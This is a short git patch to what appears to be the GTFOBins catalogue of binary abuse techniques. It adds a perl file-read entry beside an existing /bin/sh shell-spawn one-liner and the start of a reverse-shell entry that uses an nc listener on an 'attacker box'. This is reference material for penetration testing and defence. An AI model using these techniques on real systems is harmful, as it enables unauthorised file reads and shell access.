From a9b046f74b924da893a4f2657895b262c35ec450 Mon Sep 17 00:00:00 2001
From: Andrea Cardaci <cyrus.and@gmail.com>
Date: Mon, 26 Apr 2021 16:11:44 +0200
Subject: [PATCH] Add perl file-read

---
 _gtfobins/perl.md | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/_gtfobins/perl.md b/_gtfobins/perl.md
index 018e02e..7e4b2c2 100644
--- a/_gtfobins/perl.md
+++ b/_gtfobins/perl.md
@@ -2,6 +2,10 @@
 functions:
   shell:
     - code: perl -e 'exec "/bin/sh";'
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        perl -ne print $LFILE
   reverse-shell:
     - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
       code: |